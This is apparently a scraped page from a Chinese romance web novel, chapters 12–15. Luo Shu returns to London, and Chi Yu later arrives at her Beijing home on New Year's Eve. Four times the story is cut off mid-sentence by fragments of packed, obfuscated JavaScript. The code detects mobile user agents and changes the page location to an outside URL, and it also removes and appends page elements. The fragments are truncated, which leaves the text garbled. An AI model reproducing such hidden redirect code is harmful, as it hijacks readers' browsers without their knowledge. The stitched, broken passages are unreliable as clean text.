l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375729|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……” “你舍得池煜哥哥吗？” 洛姝这才给了他一个眼神，但还是没说话，谢雨杉晃她胳膊更用力了：“姐姐，你说句话啊！你根本舍不得池煜哥哥，怎么会不回来呢？会回来的，对吧？” “对对对。”洛姝敷衍。 * 天气寒冷最适合吃火锅，不到晚饭点，火锅店一二楼几乎坐满了人。 洛姝跟池煜来得不算早，好在位置是提前订好的，他们去了三楼，被服务员带着找到位置。 洛姝点了一些蔬菜，放进番茄锅里，等到能吃的时候全都夹到谢雨杉的小碗里：“全都给吃完。” 谢雨杉乖乖坐在宝宝凳上，他吃饭从来不说话，只顾着吃，只是点点头，扒拉碗里的蔬菜。 他只爱吃肉，看着碗里的食物皱了皱鼻子，但还是乖乖吃掉后，才眼巴巴地看着洛姝筷子上的肥牛：“姐姐，我想吃肥牛卷。” 洛姝看他一眼，把肥牛咽下，“还没有好。” 谢雨杉噘着嘴，幽怨地看了她两秒，而后可怜巴巴地问池煜：“哥哥，我可以吃肥牛卷吗？” “可以。”池煜把番茄锅底的肥牛夹到他碗里。 谢雨杉高兴地拍手，旁边有找位置的食客看见他，凑过来逗他：“你好帅啊，是外国人吗？” 谢雨杉擦了擦嘴巴：“是呀。” 食客朝洛姝跟池煜看了眼，而后又对他说：“你和你妈妈长得很像，跟爸爸倒是不太像。” 谢雨杉咽下肥牛卷，脆声道：“他不是我爸爸呀！” “……不好意思。”食客错愕地看了眼池煜，像是发现了什么一样，视线在洛姝脸上滚了一圈，表情变了变，而后再次朝面对面吃饭的两个大人道了声歉，慌忙离开了。 洛姝低头笑了一下，而后耸了耸肩：“任谁看见我带着谢雨杉都会以为他是我儿子。” 她单方面结束这个话题，提到了明天回英国的事：“明天我带他回英国。你明天有空吗？” “有空。”池煜慢条斯理地问：“你想让我送你去机场？” 洛姝面不改色：“不是我，是谢雨杉想让你送。” 池煜答应地干脆：“行啊，不过我有个要求。” 洛姝放下筷子，一副洗耳恭听的模样：“你说。” “谢雨杉的姐姐不能跟我断联。”他有些孩子气地回答。 19. Chapter 12 谢雨杉在飞机上没睡好，坐在行李箱上打盹，洛姝推着他往前走。 谢瑞很早就等在机场，接过她手中的行李箱，把儿子抱进怀里，看着她说：“你看起来心情很不错，是因为池煜那孩子吗？” 洛姝摸了摸脸，她在谢瑞面前一向坦白：“嗯。这些天我们说了很多很多话。” “是跟他和好了吗？”谢瑞又问。 洛姝摇摇头，把半张脸缩到围巾里：“会很困难。” 这层关系想要彻底破冰在她看来大概率遥遥无期，毕竟当初她单方面提分手，再一声不吭出国，有很大一部分原因是因为蒋春燕和池升。 这对夫妻不光是从小看着她长大的叔叔阿姨，更是池煜的父母，她也做不到让池煜夹在中间为难，当时做不到，现在过了这么多年更做不到。 谢瑞腾出一只手拍了拍洛姝的肩膀：“提起这个你总是会低沉，顺其自然吧。再不济还是朋友，起码你能做到，不是吗？我相信你的社交能力。” “朋友么……”洛姝回想起在粱城待的那些天和迟疑的相处模式，似乎不能简单来用朋友概括，毕竟他们以前和家人没什么区别，饶是过去了这么久似乎也不存在有拘谨的地方。 要说有，问题也出在她自己身上，她太拧巴了。 总认为池煜会怨她，怪她，所以不知道到底该怎么相处，但自从那天她的手被烫伤，听到池煜说不怪自己的时候，心里面堆积的愧疚感消散了一小部分。 那一小部分的愧疚里困着十六岁落荒而逃的她，在得到池煜确切答复后，因此被修补了一大部分，窥见了光亮。 与最喜欢，最想要共度一生的人当朋友相处，是否能做到呢？ “或许吧。”洛姝轻声回答。 * 晚上十一点半。 “夜色浓”清吧正是热闹的时候。 池煜指尖燃着苏望月给的香烟，没抽，只是在静静听歌手唱歌。 苏望月端着杯子和来往的美女碰杯，娴熟搭讪一通后利落闪人，重新来到他身边，揶揄：“池老板发什么呆呢，害相思了？” “嗯。”池煜没有否认。 这些年池煜的变化太大了，跟上学时候那种沉默寡言惜字如金简直是两模两样。 苏望月敢信，要是以前说这话，池煜一准不搭理他，现在倒是很坦白。 他端着杯子在池煜桌上没怎么动的酒碰了碰：“追了没？” 池煜端起酒杯抿了口：“没追。” 苏望月纳闷地问：“前一阵人在你眼皮子底下，你也没点表示，现在回伦敦了也没见你追去，你想什么呢？” 池煜盯着手中快要燃尽的香烟，在烟灰缸里摁灭，他接了个电话：“妈。” 蒋春燕嗓门很大：“你在哪儿呢，那么吵。是不是还在你那酒吧？” 池煜从苏望月烟盒里拿了支烟点上，咬在了嘴边：“有什么事，您说。” “这不还有一个月过年了，今年来我这里吧。你弟弟霖霖很久没见你，也很想你。” 蒋春燕和池升的婚姻关系在池煜高二那年就已经维持不下去，但为了池煜，一直到他高中毕业后才选择离婚，而后没两年便各自有了新的家庭。 同母异父的陈霖比池煜小了20岁，今年刚上二年级。 池煜一只腿伸直，微弓着背，姿态有些懒散。他吐出一口烟圈，晃了晃杯中的冰块，随后将酒一饮而尽：“到时候再说吧，我忙得很。” 蒋春燕在电话那头笑了下：“忙什么呢？忙着谈对象是吗，那什么时候带回来给妈妈看看。” 池煜单手撑着头，心不在焉地回答：“忙事业啊，酒吧需要经营。” 蒋春燕想起来这通电话的另一个目的：“去年你在你爸那儿过年，今年怎么着也得来我这儿了，还有，该找个女朋友带回来了。” 池煜扯了扯唇角。 蒋春燕急声：“你也老大不小了！” 池煜要了杯温水，慢腾腾地喝了半杯，没有发表任何看法。 没听见儿子搭腔，蒋春燕深呼吸了两下，不由得气闷：“你说你，一个酒吧有什么好忙的？你也找个正经——” 池煜仍旧是把烟叼在唇边，镭射灯照在他头顶，纤长的眼睫下投出一片阴影，睫毛根根分明。听到母亲气恼的声音，他单手搭在苏望月肩上，拖着懒洋洋的声音：“这个点您还没睡就是让我换个工作么？我可就指着这个赚钱呢。没什么事的话我先挂了，您早点睡。” 话音还没来得及落下，这通电话就已经被他挂断，酒精在他胃里开始发酵，不至于醉，倒是让他那一丁点困意烟消云散。 苏望月耸了耸他搭着的那边肩：“怎么不跟阿姨说咱们的游戏公司。好歹是公司，听起来可比酒吧老板要正经多了。” 池煜掐灭了烟，笑说：“没什么区别啊，在她眼里都是不务正业，说与不说都一样。” 知道他不爱提家里的人和事，苏望月又把话题转到了洛姝身上，说：“这个点，伦敦那边是白天，你不如买张机票飞过去。不就十二个小时，半天时间。到了地方之后让她收留你，看在从小一起长大的份上，那必然收留你啊。” 池煜似笑非笑看他一眼，苏望月露出一种“我说的句句属实”的表情，“真的，我是你哥们，还能糊弄你。” “滚。”池煜笑着骂，“少在这出馊主意。” 苏望月在他肩上拍了拍：“我说真的啊，你真得主动出击。前几天洛姝跟慕挽来酒吧，当时好几个人过来给跟洛姝搭讪呢，这事儿小李都知道。不信你问小李。” 小李听得一头雾水，但还是连忙点头：“是啊是啊。” 苏望月说话跟唐烨一样夸张：“你看，小李当时眼睁睁看着呢。一个酒吧都好几个人来搭讪。就连唐烨看见洛姝眼睛都亮了，更别说在外面大街上，你可长点心。” 他转头又去和小李说：“就是上次你以为是明星的那个美女，是你池老板初恋，想不到吧？” 池煜看着他笑：“行了啊你。你之前不是还让我醒醒，怎么现在劝起我来了，苏望月你怎么不去学变脸？” 苏望月不背锅：“还不是怪你没跟我说，我要早知道孩子是她弟弟，我能说出那句话？现在不是误会解开了么。我是感觉洛姝对你的想法，应该是和你的心思差不多。要不然能进你的店？要是对你无感，这一条街酒吧那么多，进哪家不行，非要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375730|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进你开的？” 小李这会儿不忙，坐在椅子上，“老板，我觉得小老板说得有道理。” “你这小孩有时候不会来事，得练啊。当着我的面怎么说也得喊苏大老板啊。” 苏望月纠正完，继续怂恿池煜：“说真的，你就按我刚刚说的那样，现在订个机票飞到伦敦。诶你别用那种眼神看我啊。你之前又不是没干过这事儿，好歹在伦敦呆了两年，你在那也算是熟悉，现在别畏手畏脚啊。” 小李问：“老板在英国呆了两年是去做什么？” “念书啊。”池煜回答。 苏望月打了个响指：“虽然是念书，但是你小子去伦敦除了念书，还念什么，不用我点破吧？” “还念什么？”小李凑得很近，他恨不得自己张四双耳朵来听老板们的八卦，要是换做旁人他不会很好奇，但这可是老板的私事，那不得不好奇起来了。 苏望月在他脑袋上敲了一下，“他初恋在伦敦啊，你说他念什么！” * 回到英国的第三天夜晚，牛津街上空的雪簌簌而落。熙攘的人群驻足，纷纷抬起手，接住近在咫尺的雪花。 洛姝抬头看了眼街灯，大片的雪花如柳絮纷纷扬扬落在她的发顶和面颊，梁诺诺帮她把帽子戴上，眼睛朝一处瞥了瞥，用手肘碰她，“六点钟方向，那有个帅哥。” “我不看。”嘴上这么说着，洛姝却还是很快扫了眼好友口中的那个帅哥。个子跟池煜差不多高，同样是身高腿长，金色的头发微卷，面部线条硬朗。 离她们两个越来越近，帅哥没抬眼，从她身旁绕过，面前又只剩下纷纷扬扬的雪花。 梁诺诺一脸兴奋：“是不是很帅？” 洛姝兴致缺缺：“还好吧。没有他好看。” “这是自打你回来，第不知道多少遍提到池煜了。”梁诺诺扬起五指挥了挥，“你俩现在是复合了？” 洛姝擦掉脸上的雪水：“没复合。当朋友也可以啊，像现在这样。” 梁诺诺不以为然：“复合也行啊！当朋友你甘心吗，喜欢他这么多年。” 见洛姝又不应声了，梁诺诺继续说：“你俩复合也很正常吧。你在粱城碰到他，他又没有对你挂脸或者放狠话，甚至把Milo当成你儿子也没有冷落你什么的，由此可见他心里有你。” 洛姝鼓起腮帮子，头埋得很低：“你又不是不知道我和他爸妈有矛盾。” 梁诺诺拉着她进了商场，颇有些语重心长：“是，不过那个矛盾又不是你和池煜。复合的话，也是和他谈对象又不是和他父母谈。再说了，只是谈朋友而已，不用想得太久远。” 算上今年，梁诺诺和洛姝已经认识近二十年，自己闺蜜是什么样的为人她再清楚不过，至于洛姝总是在和池煜有关的话题上拧巴，她也理解。 “你们分开了这么久，能彼此惦记着也挺不容易的。你总是觉得池煜会怪你，但你俩已经见到面了，他怎么对待你的，我想你比任何人都能切身体会到，所以……诶，你干嘛呢？” “买票啊，回粱城。” 洛姝扬了扬手机上的购票软件界面，“我被你说服了，现在迫不及待想要回去见他。” 20. Chapter 13 我只懂得 橱窗外，街道上空的雪花越飘越多，洛姝还在翻看机票，梁诺诺伸出一根手指，帮洛姝把购票软件滑到后台退出，顺便帮她熄灭屏幕：“这场雪未来持续好几天，等天气好再回去追爱也不迟。” 洛姝把手机放回兜里，若无其事道：“当朋友也成啊。” “想开了？”梁诺诺戏谑看她。 洛姝努努嘴：“说说而已嘛。这次回来只是把雨杉送到瑞叔这里，快过年了，得回首都置办年货了。”自从谢玫回国后，洛姝的新年都是待在首都，今年也不例外。 梁诺诺晚上还有约会，新交的小男友和她约在牛津街一家新开的餐厅，洛姝不愿意当电灯泡，跟她告别后往家回。 半路上接到了赵慕挽的电话，她的声音听起来像是重感冒，有浓浓的鼻音：“洛洛，你什么时候来粱城？” 洛姝踢掉脚边被踩脏的雪：“这么快就想我了？” 赵慕挽狠狠擤了把鼻涕，“猫想你了，请你来店里坐坐，正好帮你解决一下就业问题。” 作为无业游民的洛姝笑出声，一听就明白了她的意思，“年后吧，到时候再去上任行吗。过几天要回首都，快过年啦得回去置办年货。” 赵慕挽：“你怎么不问我什么原因？” “我只要抬头就能想到是谁啊。”洛姝呼出一口热气，“我没说错吧？” “聪明。” 赵慕挽吸了吸鼻子：“最后一次了，真的。如果还是没有结果我真的……”她不再说了，静了两秒后：“我一夜没睡，就是等着给你打这通电话招你入职呢。不说了，困死了，我等你回来。Seeyou！” * 伦敦这场大雪下了两天，等到雪化得差不多的时候，洛姝回了首都。 首都到处洋溢着新年的气氛，各个地方都放着庆贺新年的歌，入目皆是喜庆的红色。 除夕这天，家家户户都贴上了红对联。 谢玫过世还未满三年，按照浔城的习俗要守三年孝期，节日不能张灯结彩的庆祝，因此家里看起来有些冷清。 好在谢雨杉很会活跃气氛，洛姝和谢瑞在厨房包饺子，他就在客厅里拿着话筒唱歌，稚嫩的歌声传遍家里的每个角落。 一直到洛姝快擀完饺子皮，歌声停止，紧接着是谢雨杉稀碎的脚步声，他跑进了厨房：“姐姐，今年是不是还不可以拜年？” 自从母亲过世后，他就没出门拜过年，因为还在孝期。 洛姝擀完了最后一块饺子皮：“对。明年就可以了。” 谢雨杉很开心：“那明年是不是可以给池煜哥哥拜年啦！” 谢瑞在他鼻子上用面粉点了点，“这么开心？” “当然开心！他是我回国之后第一个好朋友。”谢雨杉说完又拿着话筒跑回客厅，继续撕心裂肺地唱90年代的老情歌。 谢瑞把饺子摆整齐，问：“池煜是回浔城过新年吗？” 洛姝洗干净手，回答：“不太清楚。” 她也只是在当时到了伦敦和他报了平安后，就再没和他联系过。主要是不知道和池煜说什么，毕竟她并非沉闷的人，喜欢他就会想要说很多话。 可若真的一下子说很多话，又似乎和现在这样不冷不淡的关系相悖，所以她与池煜默契地保持沉默。 至于他是否回到浔城过新年，她并不清楚，他们的交流里，都很少提到这几年发生的事情。 “池煜现在应该是在浔城吧，毕竟他爸妈在那里。” 洛姝这样回答谢瑞。 * 池煜在车里打了个喷嚏。 司机朝后视镜看了眼，把暖气开高了些，又把纸巾盒递过去，用首都强调的普通话对他说：“小伙子是不是冻着了？这个天是挺冷的。” “我身体素质还挺好的。”池煜这么说着，抽出一张纸巾盖住鼻子，接了蒋春燕的电话：“池煜你人呢，不是答应好回来过年的吗，怎么没看见你人？又跑你爸那儿去了？还等着你来吃年夜饭呢。” “嗯，我在我爸这儿。”池煜与司机无声地对视一眼，朝他笑了下。 蒋春燕恼火：“怎么年年都去他那，不来我这。我才是你亲妈！” 池煜看向窗外：“我爸就在我旁边。” 蒋春燕沉默片刻，才说：“挂了，我要开始包饺子了。” 池煜没说话，等到蒋春燕挂断电话后，没过多久，池升给他发了条语音：“小煜，今年你又跑去你妈那儿了？” 他没有避着司机，司机也就理所当然地理解为叛逆青年隐瞒自己坐在出租车上没有回家过年的事实，“小伙子不是本地人吧？” “不是。” “那怎么想到来首都呢。”而且还是赶在除夕这天来，赶在他接完最后一单要回家吃年夜饭的时候。 当时池煜下了地铁就拦住了他的车，被他拒绝了，但是这小伙子财大气粗，直接扫了码，转了四个6过来，说是新年六六大顺。生意上门哪有不赚的，于是师傅就又载了一趟乘客。 池煜两手揣在兜里，漫不经心道：“来见女朋友。” 司机哦哟了声，“你从哪儿来的？” “粱城。” “诶呦那还挺远的，你来找她这一趟，她等会儿肯定感动坏了，不得来接你啊。” “她不会来。” 司机敏锐察觉到了一点不同寻常：“你俩有矛盾了呀？” 池煜笑了下：“我惹她生气，跟我闹别扭呢。只能我去找她了。” 司机不可置信：“你长得这么帅，女朋友还会跟你生气呢？不过看见你这张脸就生不起气来了吧！” 池煜只是笑了笑，没再接话。 天色渐暗，司机按照池煜给的位置开进了洛姝家小区的停车场，一直到池煜下车，他才说：“小伙子，祝你好运啊。” 池煜颔首，杏眼弯了弯：“谢谢。叔叔再见，提前祝您新年快乐。” “诶好，新年快乐，你和女朋友要和和气气的啊。” “借您吉言。” 师傅离开后，池煜才回了池升一个简单的“嗯”字。 池升秒回了条三秒语音：“明年一定要来爸爸这里啊，一起喝两杯才行。” 池煜没回，把手机放进兜里。 上大学的头两年，他还分别去蒋春燕和池升那里过新年，后来没再去过，也觉得没必要。因为不管在哪里都是个外人，很不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375731|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在，也就让他想到了当年洛姝住在自己家的时候。 那时从来没有换位思考为她想过，只是觉得她就是自己的妹妹，就该对她好。 可自从父母离婚重组家庭，他分别去了爸妈家里吃过年夜饭后，切身体会到当时洛姝寄住在自己家里的拘谨感。 好歹这两个重组家庭中有自己的双亲，可那时候的洛姝就只是一个外姓人，寄住在池家没有任何身份。 思绪被一通电话打断，苏望月打来的，池煜刚一接通，对方就急吼吼道：“在哪呢，晚上出来喝酒啊！” 池煜兴致缺缺：“没空啊。” 苏望月嗤了声：“少胡扯了。全公司都放假了，酒吧有唐烨看着，你怎么会没空呢？你在哪呢，我接你去总行了吧！” “我在首都，给你五分钟。” “我靠，你怎么跑首都去了？”苏望月停顿几秒，恍然大悟：“你去找洛姝了对不对。我的天，太阳打西边出来出来了！当年在伦敦待了两年都不敢出现在她面前——” 话还没说完就被挂断了电话，紧接着，池煜拨通了一串倒背如流的号码。 * 傍晚五点，天已经黑了。 谢瑞正往桌上端着一道道丰盛的菜肴，谢雨杉兴高采烈地抱着饮料给三个人的酒杯里倒满，洛姝在厨房给水果摆盘。 “姐姐，你的手机响了。”谢雨杉在餐厅呼喊。 洛姝端着水果上桌，看见手机上那串熟悉的号码，明显怔了一下，而后很快点了接通：“池煜？” 池煜笑了一声：“嗯，是我。吃饭了吗？” “还没有。”洛姝扭头看了眼餐厅，谢雨杉正拿着车厘子往嘴巴里塞，一下子塞了好几颗有些被噎着，被谢瑞一巴掌拍在了后颈上。 画面有些滑稽，洛姝没忍住笑了出声，随后想起来是在跟池煜通话，忍着笑问：“你呢，吃饭了吗？”她印象里在池家过新年，中午就已经吃过年夜饭了。 “没有。”池煜回答。 手机那头能听见呼啸的风声，他似乎是在外面，浔城的新年有这么冷的时候吗？ 洛姝没来得及多想，正要问他怎么还没吃饭，就听池煜说：“我在你家楼下。” 洛姝一愣，匆匆在围裙上擦了下手，而后跑到阳台上往下面看，她家住在八层，不算太高，只一眼就看见了墨黑天色下穿着一身黑的池煜。 看不清面容，但似乎是在笑，因为他举起来另一只手朝她挥了挥，看见她了。 洛姝吸了吸鼻子，就听池煜继续说：“首都的傍晚好冷，我站在这里耳朵要被冻掉了，方便收留我吗。” 他的嗓音很好听，温温柔柔的，很干净，但说这话的时候有些沉闷，夹在风里有些稍微听不太清，徒添了一些可怜意味。 小区里每栋楼都录有指纹，无关人员轻易进不来。外面太冷了，也不知道池煜在楼下等了多久。 洛姝扯掉背后的围裙系带，她动作很急，脑袋这会儿也有点乱，话说得语无伦次：“方便得很。瑞叔做了很多菜，你应该会很喜欢，哦对，谢雨杉一直很想你，总念叨你。” 池煜在那头认真听着，轻笑着回答：“那你来领我回家吧。” 21. Chapter 14 “你们先吃，我去接池煜上来。” 洛姝丢下这句话，匆匆拉开了门。 “那孩子怎么来首都了？该不会还没吃饭吧。”谢瑞有些吃惊，眼疾手快地拉住要往外跑的谢雨杉，把衣架上的外套递给洛姝：“外面冷，衣服穿上再去。” 洛姝穿上外套出门，进了电梯才意识到自己出来得太匆忙，手机都忘了拿。 她赶忙对着电梯里的镜子理了理自己被扎上的头发，又用手背拍了拍有些发热的脸，扯了一个不失礼貌的微笑，在“叮”一声响起后，三步并作两步跑到楼道口摁开指纹开门。 “池煜！” 清脆的，带着难以自抑的欣喜。 池煜看着她跑向自己，迈大步走近她同时展开了双臂。 洛姝在快要投进他怀抱时才反应过来，连忙刹住脚步，但手已经收不回来了，只好悻悻地搭在他胳膊上，拉着他往回走：“你到了很久吗？首都一直都很冷。” 池煜把手伸向她，已经被冻得有些发红，“到了挺久。” “那你怎么早不给我打电话。”洛姝握住他他的手，很冰，冰得她忍不住打了个冷颤，她拉着她朝家走，“我好早点来接你啊。” “下次不会了。”池煜乖乖跟在她身后。 洛姝本想问他要在这里待几天，但不管几天，他在除夕夜这天来了，总不能吃个晚饭就回浔城。 至于为什么离开家千里迢迢跑来首都找她，她想答案彼此都心知肚明。 “你箱子呢？”洛姝问。 池煜：“弄丢了。” 洛姝惊讶：“丢了？” 池煜面不改色：“嗯。” 其实是根本没带，只带了人和手机，连数据线都是到了首都买的。 洛姝惊讶一瞬，拉着他朝外走：“在哪丢的，有贵重物品吗，我们去警局……” 池煜掰着她肩膀，和她进电梯：“不用，只有几件换洗衣服，丢了就丢了。” 家门是开着的，谢雨杉被爸爸拉着不让跑出去，只好守在门口露出半颗脑袋，在看见一前一后的两个人时，惊喜地跳起来，就差举个横幅：“欢迎欢迎，热烈欢迎！” 他甚至贴心地给池煜找了拖鞋，“池煜哥哥，欢迎你来。” “谢谢。” 池煜摸了摸他的头，而后换好鞋，对候在一旁的谢瑞颔首道：“瑞叔。” 谢瑞早就拿好了碗筷放在桌上，侧过身指了指桌子：“是喝红酒还是白酒？家里都有。” “跟你们一样喝饮料就好了。”池煜把外套挂在了衣架上，跟着谢瑞进了餐厅，桌上的菜很丰盛，他坐下前，说了句：“打扰你们了。” “哪里的话？多一个人多份热闹。” 谢瑞像看孩子一样看他，记得那时他跟谢玫去一中门口偷偷见他俩的时候，池煜还没有这么高，但那时候已经很出挑了，不管是个子还是相貌。 只是每次看见都是冷着一张脸，对什么都淡淡的，唯独在活泼的洛姝面前表情才会生动一些。 如今从少年成为青年，青涩的面容硬朗了许多，变化也很大，脸上始终带着淡淡的笑，看起来平易近人多了。 很快，池煜的碗里就堆得像小山，全是谢瑞夹的，他不过才三十九岁，也就比池煜大了一轮，但此刻却像个慈祥的老父亲一样：“吃吧孩子，就跟自己家里一样。”说着，又一视同仁给洛姝和谢雨杉夹菜。 洛姝饭前吃了水果，把碗里的菜吃完就已经饱了，她放下了筷子，在旁边听谢瑞和池煜说话。 “小煜在粱城的酒吧生意怎么样？” “还挺好的。” 谢瑞吃了八分饱，放下了筷子：“有具体的工作时间吗？” 洛姝反应过来他接下来要说什么，不由得失笑，就听池煜回答：“正常是晚上九点开业，凌晨六点关门。” 谢瑞若有所思，这份工作不太适合洛姝，毕竟夜班时间她不太能熬，于是没再问资薪方面的问题，而是说：“刷到视频号说今年在鸿星有烟花大会，等会你们吃完饭也去逛逛。” “嗯。”洛姝把杯子里的饮料一饮而尽。 谢瑞和池煜的身型差不多，晚上的首都天气更寒冷，他给池煜找了件厚大衣用来御寒，而后带着孩子，四个人一块出了门。 靠近鸿星地界的那段路就已经能看见上空中各式各样形状的烟花，谢雨杉很兴奋，下了车就往人堆里挤，谢瑞去追儿子的身影，落下了一前一后的洛姝和池煜。 时间指到夜里十一点半，前来烟花大会的人只多不少，洛姝被奔跑的小孩撞到，踉跄往前走了几步，倒退着回到了池煜的身边：“没在家过年，不怕被唠叨么？” 池煜把她让到里侧：“不会被唠叨了。” “嗯？”洛姝没听明白。 “他们有了各自的家庭，不会再分心唠叨我了。”他这话说出口的时候脸上挂着笑，看不出来任何窘迫或是难过，但那个笑应该是释然和轻松。 洛姝愣了愣，随即想到了那个满是唠叨和埋怨的家庭，而后才问：“什么时候的事。” “高考完。” 洛姝不再问了，指着一处炸小肉丸的摊子，丝丝缕缕的香气一个劲往鼻子里钻。 她不由分说地拽着池煜去排队：“我饿了。” 好在摊子前没几个人，买好肉丸，洛姝举着盒子把竹签递给他，“喏。” 池煜把肉丸串到竹签上递给了她，“张嘴。” 洛姝迟疑片刻，张开唇咬住那颗丸子，与此同时，烟花在夜空中炸开。池煜示意她朝天上看：“抬头。” “嘭！” 冷冽的风吹到脸上，飞扬的发丝从眼前飘过，洛姝应声抬起头，烟花升至半空，很绚烂的色彩碰撞，渐变的蓝色莫名有种清冷的美感。 “洛姝，新年快乐。”池煜弯下腰，贴近洛姝的耳廓，语速轻缓，短短几个字说完，捂住了她嗡鸣的耳朵，用口型对她说：“好点了吗？” 洛姝有轻微的耳鸣，在别人大声说话或是很吵的环境下会发作。 她没想到池煜还记得这件事，怔怔地望向池煜那双一直含着笑的眼睛，耳朵被他温热的掌心捂住，能清晰听见胸腔里的心跳砰砰砰狂跳，与天空中绚烂的烟花同频，也突然有点想掉眼泪。 于是快速眨了下眼睛，大声回应：“新年快乐。” 来此地的人太多，还有不少小孩子在打闹，洛姝被撞了个踉跄，幸好池煜扶稳了她。 夜里的风吹得人脸疼，零点之后围绕在此地的人纷纷回家，谢瑞和谢雨杉已经去了车里等他们，洛姝也没了逗留的心思，“回去吧。” “嗯。”池煜说。 到家的时候已经接近凌晨一点，谢雨杉一整天都很兴奋，第一件事就是邀请池煜住在自己布置得像海洋馆一样的儿童房间。 洛姝倚在门边，轻飘飘地说：“你的床太小了，哥哥可能连腿都伸不开。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375732|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢雨杉躺在床上打了两个滚之后，得出结论：“好像也是哦。” 谢瑞在厨房煮了饺子，他闻到了香味，腾地从床上冲去厨房：“是饺子的香气！” 洛姝不太饿，象征性地吃了几个便放下了筷子，“我去把客房收拾一下。” “我自己来。”池煜也跟了上去。 他们两个碗里的饺子就没盛几个，谢雨杉伸头看了眼，而后悄悄看了他们两个的身影，又把目光落在谢瑞身上，半晌才继续慢腾腾吃饺子。 “想说什么？”谢瑞问他。 谢雨杉想到了之前在录像里看见的谢玫和谢瑞的相处过程，谢玫要为谢瑞做些什么的时候，谢瑞都会立刻跟上她，选择亲力亲为。那时候的他还是个叼着奶嘴没有多少头发的婴儿。 “感觉哥哥姐姐现在这样，很像以前的爸爸妈妈。” 谢瑞一愣，随即有些怀念起自己已经去世了两年多的女友，然后摸了摸儿子的头发：“想妈妈了？” “嗯。” 谢瑞温声说：“等过几天我们去见妈妈。” 谢雨杉很开心：“好～到时候我还要给妈妈买她喜欢的郁金香送给她。” * 洛姝从衣柜里拿出被子，家里的被子都是她前几天趁着天气好晒过的，抱出来还有一股淡淡的香气，很好闻。 池煜问她：“过几天会去陵园么。” “初三那天。” 洛姝坐在床尾凳上，看他铺床：“到时候我们一起去吧，妈妈也很多年没见过你了。” “嗯。” 洛姝看着他的动作，想起来以前在池家跟着他们一家三口搬进别墅的时候，池煜失眠了，因为他有些认床。 池煜一连失眠了三个晚上后，最后还是洛姝拿着课外书进他房间，结果书一句没读，两人聊了半宿的话，洛姝竟然也不困了。 她开始想到什么歌就唱什么，乱七八糟地唱，上一句根本接不住下一句地唱，偶尔池煜还会跟着哼两声。最后洛姝给自己唱困了，但是看池煜毫无困意，又打起精神。 后来实在是撑不住困意，一个靠着沙发上，一个趴在桌上，就这么被断断续续的歌声哄睡着了。 只是不知道过去了这么多年，池煜考进了心仪的大学，后又辗转去了粱城住，这个毛病还存不存在。 洛姝已经很久没有这么晚睡了，困意来袭，撑着头问：“你今晚还会像以前一样失眠吗？” 池煜慢了半拍，说：“会。你要像以前一样唱歌哄我睡么。” “才不要。那好幼稚啊……”洛姝捂住脸，没想到他会跟自己想到了同一件事，她嘴硬：“再说了，那是哄我自己好不好。” “行，你说什么就是什么。”池煜看着她一脸倦容，“困了？很晚了，早点休息吧。” “等会儿。”洛姝的意识有些混沌，困极了就不太想挪步：“我眯一会儿就走。” “睡着了梦游回去是吗。” “嗯……也不是不行。” 看样子是真的困得不行了，池煜弯起唇走到她跟前，一手搭在床尾凳上，微微俯下身，“回去睡吧。还是说我把你抱回去？” “嗯……嗯？！” 洛姝的困意瞬间消散了大半，她睁开了眼睛，忙不迭地站起身，绕过他直直朝门外走，在走到门口的时候，镇定开口：“晚安。” 池煜在困迷糊的她头上摸了摸，很快收回手：“晚安，明天见。” 22. Chapter 15 幸得伴着你我 凌晨三点，洛姝困意全无，在床上翻来覆去打滚。她与客房只有一墙之隔，床头的方向对着客房床头，姑且算是头对头的姿势。 大脑开始放空，她想到了傍晚接通电话在楼下看见池煜的那一幕，接着思绪快速游离到烟花下，轻微耳鸣时被他捂住耳朵，很多细小的事情他仍记得。 洛姝有些口干，起床打开了门，与此同时旁边房间的门也打开了。 洛姝看过去，就听池煜说：“梦游了？” 洛姝胡扯：“嗯。” 知道她在胡说，池煜还是问：“那我是谁，还记得么。” “你是笨蛋。”洛姝没好气地回应他。 池煜反问：“怎么就是笨蛋了？” 洛姝不回答，一瞬不瞬地看他。 ——笨蛋才会这样默不作声等了她这么多年，除夕这天跑到首都来找自己，美名其曰“收留”，实际上到底是为了什么，彼此心知肚明，却还要揣着明白装糊涂。 “我说是就是啊。”洛姝耍无赖，说完这句话倒退回房间，合上门前，她最后说了句：“如果还是失眠，我可以勉为其难唱首歌给你听。“ 